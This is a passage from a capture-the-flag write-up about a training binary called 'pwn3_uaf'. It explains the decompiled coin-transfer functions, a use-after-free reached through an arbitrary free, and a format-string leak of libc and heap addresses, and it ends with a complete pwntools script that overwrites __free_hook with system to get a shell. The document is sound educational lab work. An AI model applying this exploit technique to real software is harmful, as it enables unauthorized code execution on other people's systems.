) { if ( i > 4 ) { puts("[-] This user is not registered"); return 0LL; } if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), s2) ) break; } printf("Please input password\n> "); read_(s2, 31); if ( !strcmp(*((const char **)*(&array + i) + 1), s2) ) return (__int64)*(&array + i); puts("[-] Password error"); return 0LL; } ``` The the function requires a name then check if there's a user with that name by iterating the array. If is then check the password, if correct then returns the pointer of struct else returns `0` `displayuser` function ```cpp= __int64 __fastcall sub_400EAE(__int64 user) { printf("[+] username: %s, money: %ld\n", *(const char **)user, *(_QWORD *)(user + 16)); return 0LL; } ``` Just print the `username` and the number of coins `sendcoin` function ```cpp= __int64 __fastcall send_coin(__int64 sender) { int i; // [rsp+18h] [rbp-58h] int coin; // [rsp+1Ch] [rbp-54h] _QWORD *j; // [rsp+20h] [rbp-50h] _QWORD *k; // [rsp+20h] [rbp-50h] __int64 receiver; // [rsp+28h] [rbp-48h] _QWORD *transaction_sender; // [rsp+30h] [rbp-40h] _QWORD *transaction_receiver; // [rsp+38h] [rbp-38h] char v5[40]; // [rsp+40h] [rbp-30h] BYREF unsigned __int64 v10; // [rsp+68h] [rbp-8h] v10 = __readfsqword(0x28u); if ( (unsigned __int64)transaction_id > 0x64 ) { puts("[-] Transaction is over"); exit(1); } printf("What user do you send to?\n> "); read_(v5, 31); for ( i = 0; ; ++i ) { if ( i > 4 ) { puts("[-] This user is not registered"); return 1LL; } if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), v5) ) break; } receiver = (__int64)*(&array + i); printf("Hom many?\n> "); read(0, v5, 0x14uLL); coin = atol(v5); if ( coin > 0 && *(_QWORD *)(sender + 16) - coin >= 0LL ) { transaction_receiver = malloc(0x28uLL); *transaction_receiver = 0LL; transaction_receiver[1] = sender; transaction_receiver[4] = coin; transaction_receiver[2] = transaction_id; transaction_receiver[3] = 1LL; *(_QWORD *)(receiver + 16) += coin; if ( *(_QWORD *)(receiver + 24) ) { for ( j = *(_QWORD **)(receiver + 24); *j; j = (_QWORD *)*j ) ; *j = transaction_receiver; } else { *(_QWORD *)(receiver + 24) = transaction_receiver; } transaction_sender = malloc(0x28uLL); *transaction_sender = 0LL; transaction_sender[1] = receiver; transaction_sender[4] = coin; transaction_sender[2] = transaction_id; transaction_sender[3] = 0LL; *(_QWORD *)(sender + 16) -= coin; ++transaction_id; if ( *(_QWORD *)(sender + 24) ) { for ( k = *(_QWORD **)(sender + 24); *k; k = (_QWORD *)*k ) ; *k = transaction_sender; } else { *(_QWORD *)(sender + 24) = transaction_sender; } puts("[+] Transaction success"); return 0LL; } else { puts("[-] Can't execute this transaction"); return 1LL; } } ``` First the function requires a name of the receiver then it checks the user in `array`. If exist then user has to pass the number of `coin` After that the function allocate 2 chunks as a transaction, one's for `sender`, one's for `receiver` and the transactions is stored as a linked list, the last transaction is put at the end of linked list Transaction struct `transaction[0]` points to next transaction `transaction[1]` points to `receiver` or `sender` which is stored in `array` `transaction[2]` is the `id` of transaction, calculated by a global variable `transaction[3]` is `0` if stored in `sender`, `1` if stored in `receiver` `transaction[4]` is the number of coin `displaytransactions` function ```cpp= __int64 __fastcall display_transaction(__int64 a1) { __int64 **transaction; // [rsp+18h] [rbp-8h] if ( *(_QWORD *)(a1 + 24) ) { for ( transaction = *(__int64 ***)(a1 + 24); ; transaction = (__int64 **)*transaction ) { if ( transaction[3] ) printf( "[+] id: %lu, recieve from %s, value: %ld\n", transaction[2], (const char *)*transaction[1], transaction[4]); else printf("[+] id: %lu, send to %s, value: %ld\n", transaction[2], (const char *)*transaction[1], transaction[4]); if ( !*transaction ) break; } } else { puts("[-] No transaction"); } return 0LL; } ``` Iterating the linked list then prints them `changepassword` function ```cpp= char *__fastcall change_password(__int64 a1) { printf("Please input password\n> "); return read_(*(char **)(a1 + 8), 31); } ``` Change the `password` by `read` a pointer stored in `pointer + 8` (pointer is stored in `array`) `deleteuser` function ```cpp= __int64 __fastcall delete_user(void **a1) { int v2; // [rsp+18h] [rbp-18h] int i; // [rsp+1Ch] [rbp-14h] _QWORD *transaction; // [rsp+20h] [rbp-10h] _QWORD *ptr; // [rsp+28h] [rbp-8h] v2 = -1; for ( i = 0; i <= 4; ++i ) { if ( *(&array + i) == a1 ) { v2 = i; break; } } free(*a1); free(a1[1]); if ( a1[3] ) { transaction = a1[3]; while ( 1 ) { free_transaction(transaction[1], (unsigned int)transaction[2]); if ( !*transaction ) break; ptr = transaction; transaction = (_QWORD *)*transaction; ptr[1] = 0LL; *ptr = 0LL; free(ptr); } free(transaction); } else { puts("[-] No transaction"); } free(a1); *(&array + v2) = 0LL; return 0LL; } ``` The function first `free` the `username` field then `password` field Next is handling the transactions Loop through all transacions in linked list, each transaction it calls `free_transaction` function with parameters are the `sender` or `receiver` and transaction's id ```cpp= __int64 __fastcall sub_4012A0(__int64 a1, int a2) { _QWORD *transaction; // [rsp+10h] [rbp-10h] _QWORD *v4; // [rsp+18h] [rbp-8h] if ( *(_QWORD *)(a1 + 24) ) { v4 = 0LL; for ( transaction = *(_QWORD **)(a1 + 24); transaction[2] != a2; transaction = (_QWORD *)*transaction ) { if ( !*transaction ) return 1LL; v4 = transaction; } if ( v4 ) *v4 = *transaction; else *(_QWORD *)(a1 + 24) = *transaction; free(transaction); return 0LL; } else { puts("[-] No transaction"); return 1LL; } } ``` So the `free_transaction` handles the transaction stored in the other user by loop through the linked list of that user until meeting a transaction with the same id then unlink the linked then `free` the transaction The `delete_user` then `free` the struct and clear the `array` So now to the exploit In `send_coin` function a user can send to himself, so that 2 transactions will be stored on the same user And remember `transaction[4]` is the number of coins, the chunk size is `0x30` so `transaction[4]` is the start of the next chunk. The idea is that I register `3` user: `user1`, `user2`, `user3` First `user1` send `10` coins to `user2` Then `user2` send `10` coins to himself So the chunks will be like ``` start of heap 0x10 struct user1 0x40 user1(name) 0x70 pass (password) 0xa0 struct user2 0xd0 user2 0x100 pass 0x130 struct user3 0x160 user3 0x190 pass 0x1c0 transaction stored in user2 (user1 sends to user2) 0x1f0 transaction stored in user1 (user1 sends to user2) 0x220 transaction stored in user2 (user2 sends to user2) 0x250 transaction stored in user2 (user2 sends to user2) ``` ![](https://hackmd.io/_uploads/SkcKHWQtn.png) Now if i delete `user2` First it `free` the `name` and `password` (it's fine) The interesting is handling the transactions First it handles the `0x1c0` (first transaction is `user2`), it will call `free_transaction` to free `0x1f0` in `user1` then free the `0x1c0` When handle `0x220` it will call `free_transaction` with `user2` struct, the first transaction is in `user2` is `0x1c0`, of course its id is not the `id` of `0x220` (1) so it will iterate the value stored in `0x1c0` Because `0x1c0` is freed so the value stored in it is a start of the `0x1f0` chunk( because it's freed right before `0x1c0`) We can controll that because it's `transaction[4]` field of `0x1c0` which is number of coins user sends Pointer to a chunk having the `id` is 1 then it will be freed That means i have arbitrary free The idea i freeing the `password` field of `user1` so i have `uaf` bug. ## Leak the libc Notice that there's a vulnerability in loop switch case > printf(buf); But i can only pass `4` bytes to `read` so the only thing that format string can do is leaking I tried `0` to `9` and it can leak heap and libc( and the stack but i don't need it) ![](https://hackmd.io/_uploads/H1xeU_bQKh.png) ![](https://hackmd.io/_uploads/ryAIuWQFn.png) ```python= #leak the libc p.recv(1024) p.sendline(b'%3$p') p.recvuntil(b'[-] Unknown Command: ') leak_libc = p.recv(14) leak_libc = int(leak_libc.decode(), 16) libc.address = leak_libc - 894880 print('leak libc: {}'.format(hex(leak_libc))) print('libc: {}'.format(hex(libc.address))) #leak heap p.recv(1024) p.sendline(b'%9$p') p.recvuntil(b'[-] Unknown Command: ') leak_heap = p.recv(9) #print('leak heap: {}'.format(leak_heap)) leak_heap = int(leak_heap.decode(), 16) heap = leak_heap - 16 print('leak heap: {}'.format(hex(leak_heap))) print('heap: {}'.format(hex(heap))) ``` ## free the password chunk of user1 To free the `password` field i just need to put address of `password` to the `transaction[4]` of the first `send_coin` which is the number of coins But i also have to change the `password` to point to another valid transaction with the id is `1` because it calls `free_transaction` 2 times of `user2`. To do this i make it point to itself ```python= pass1_chunk = heap + 0x70 change_password(p64(pass1_chunk) + b'A'*8 + p64(1)) ``` After `delete_user` ![](https://hackmd.io/_uploads/rylUcWXt3.png) Now i have the same chunk in fastbin (offset of `password` is `0x70`) Now i remove first 2 chunks in fastbin by `send_coin` to `user3` ## write to free hook I register a user then `malloc` will return `heap + 0x70` to the struct user Craft some metadata of `password` to not break the fastbin(actually it might be not neccessary) > register_user(b'/bin/sh\x00', p64(heap + 0x220) + p64(heap + 0x70)) #password to not break the fastbin and first pointer points to name ![](https://hackmd.io/_uploads/rJRDjZmF2.png) First i register with `username` is `exploit` and `password` is `__malloc_hook` and it works I can directly write `__free_hook` to `password` field of `/bin/sh` user but the program crashes many times so i just put a normal value then user `change_password` of `user1` to write `__free_hook` Writting `system` to `__free_hook` ![](https://hackmd.io/_uploads/SJTmhb7th.png) Because `delete_user` `free` the `name` field first so i set `username` is `/bin/sh` Trigger `delete_user` ![](https://hackmd.io/_uploads/B1qInb7Yh.png) Success ![](https://hackmd.io/_uploads/SyLdnZQth.png) solve.py ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/heap3/pwn3_uaf') libc = elf.libc p = process() #gdb.attach(p) def register_user(name, password): p.recvuntil(b'> ') p.sendline(b'1') p.recvuntil(b'> ') p.sendline(name) p.recvuntil(b'> ') p.sendline(password) p.recvuntil(b'> ') p.sendline(password) def login(name, password): p.recvuntil(b'> ') p.sendline(b'2') p.recvuntil(b'> ') p.sendline(name) p.recvuntil(b'> ') p.sendline(password) def send_coin(receiver, coin): p.recvuntil(b'> ') p.sendline(b'2') p.recvuntil(b'> ') p.sendline(receiver) p.recvuntil(b'> ') p.sendline(str(coin).encode()) def display_user(): p.recvuntil(b'> ') p.sendline(b'1') def display_transactions(): p.recvuntil(b'> ') p.sendline(b'3') def change_password(new_password): p.recvuntil(b'> ') p.sendline(b'4') p.recvuntil(b'> ') p.sendline(new_password) def delete_user(): p.recvuntil(b'> ') p.sendline(b'5') def logout(): p.recvuntil(b'> ') p.sendline(b'6') user1_pass = b'A'*16 + b'\x01' user3_pass = b'B'*16 register_user(b'user1', user1_pass) register_user(b'user2', b'pass') register_user(b'user3', user3_pass) ################################################ # FREE PASS1 CHUNK ############################################### login(b'user1', user1_pass) #leak the libc p.recv(1024) p.sendline(b'%3$p') p.recvuntil(b'[-] Unknown Command: ') leak_libc = p.recv(14) leak_libc = int(leak_libc.decode(), 16) libc.address = leak_libc - 894880 print('leak libc: {}'.format(hex(leak_libc))) print('libc: {}'.format(hex(libc.address))) #leak heap p.recv(1024) p.sendline(b'%9$p') p.recvuntil(b'[-] Unknown Command: ') leak_heap = p.recv(9) #print('leak heap: {}'.format(leak_heap)) leak_heap = int(leak_heap.decode(), 16) heap = leak_heap - 16 print('leak heap: {}'.format(hex(leak_heap))) print('heap: {}'.format(hex(heap))) #pass3_chunk = heap + 0x190 pass1_chunk = heap + 0x70 change_password(p64(pass1_chunk) + b'A'*8 + p64(1)) #free the pass chunk send_coin(b'user2', pass1_chunk) # controll the linked list logout() login(b'user2', b'pass') send_coin(b'user2', 20) delete_user() # free pass1 chunk ########################################### # FREED PASS1 CHUNK ########################################### #write free hook print('free hook: {}'.format(hex(libc.symbols['__free_hook']))) user1_pass = heap + 0x210 login(b'user1', p64(user1_pass)) send_coin(b'user1', 10) #remove 2 first chunks in fastbin logout() print('A') register_user(b'/bin/sh\x00', p64(heap + 0x220) + p64(heap + 0x70)) #password to not break the fastbin and first pointer points to name #change password pointer of /bin/sh login(b'user1', p64(heap + 0x220)) change_password(p64(heap + 0x220) + p64(libc.symbols['__free_hook'])) logout() #write to free hook login(b'/bin/sh\x00', b'\x00' + b'A') change_password(p64(libc.symbols['system'])) delete_user() p.interactive() ```